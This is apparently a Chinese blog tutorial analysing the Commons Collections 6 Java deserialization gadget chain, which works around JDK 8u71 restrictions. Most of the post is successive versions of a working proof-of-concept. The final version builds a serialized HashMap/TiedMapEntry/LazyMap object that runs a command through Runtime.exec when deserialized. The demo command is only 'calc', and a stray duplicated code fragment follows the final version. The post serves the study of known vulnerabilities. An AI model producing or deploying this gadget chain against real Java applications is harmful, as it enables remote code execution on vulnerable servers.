[Java反序列化]—CommonsCollections6

前言

在开始前先回顾了一下之前的CommonsCollections1URLDNS,因为本篇跟之前有一定联系,其次其实也是为了巩固下毕竟已经忘的差不多了。

接上篇,CC1的JDK版本需要低于8u71AnnotationInvocationHandler类的readObject()方法在8u71以后逻辑就发生了改变,不能再利用了,所以就需要找一个绕过高版本的利用链—CommonsCollections6

分析

cc1的LazyMap链:readObject()->invoker()->get()->transform(),而在8u71之后,readObject发生了变化,所以不能再用之前的方式调用get方法,这时又找到了另外一条链来绕过该版本的限制

 Gadget chain:
 java.io.ObjectInputStream.readObject()
 	java.util.HashMap.readObject()
 		java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

通过TiedMapEntry.getValue()调用get(),其中key的值,可以通过TiedMapEntry类的构造方法获取,我们要调用的是LazyMap的get(),所以就需要通过构造器来构造map=Lazymap

在这里插入图片描述

先构造一下链,前边跟8u71前是一样的,为了满足map=LazyMap,需要实例化一个TiedMapEntry,由于我们用的是map所以这里的map传的是outerMap也就相当于传入LazyMap,这样经过构造方法后,map.get就变为了LazyMap.get,而key用不到所以随便传个就行

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
    }
}

之后再看哪里调用了getValue(),于是在本类中找到了hashCode()方法

public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

接着找何处调用了hashCode(),审过urldns链应该就很清楚了,在HashMap类中的hash方法调用了key.hashCode()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

接着就是何处调用了hash(),HashMap类中自己重写了readObject()方法,在readObject中调用了hash

return putVal(hash(key), key, value, false, true);

而我们想调用TiedMapEntry.hashCode,所以我们要给key赋值TiedMapEntry,value的话就随意了,所以就需要通过put传值

hashMap.put(tiedMapEntry,"Sentiemnt");

至此这条链就结束了,顺序也跟ysoserial的一样

所以poc为

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
    }
}

问题一

在运行后发现,还没有进行序列化反序列化 就弹出了计算器,这是因为我们在put修改值得同时,其实就已经调用了hash方法接着调用hashCode最终执行了命令

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

所以为了不让他执行,可以将他后边的transformer改成其他无法正产调用的内容,经过put后在改回来即:

Map outerMap == LazyMap.decorate(map, chainedTransformer);

改为

Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));

之后就是在调用put后改回来,我们调用这条语句主要是,修改factroy的值

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

而factory是protect类型的,所以就要通过反射爆破来修改

  protected final Transformer factory;

当前poc

package CommonsCollections6;

import com.sun.corba.se.impl.orbutil.ObjectUtility;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");

        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);


        serialize(hashMap);
        unserialize("1.txt");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

问题二

运行后仍无回显,回去看了一遍,这里key已经有值了,所以绕过了if从而绕过了transform()
在这里插入图片描述

所以如果想进入if,就需要把if的key值去掉

outerMap.remove("Sentiment1");

最终poc

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"Sentiment1");
        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"Sentiemnt2");
        outerMap.remove("Sentiment1");

        Class lazyMapClass = Class.forName("org.apache.commons.collections.map.LazyMap");
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(outerMap,chainedTransformer);


        serialize(hashMap);
        unserialize("1.txt");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}
       out.writeObject(obj);
    }


    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值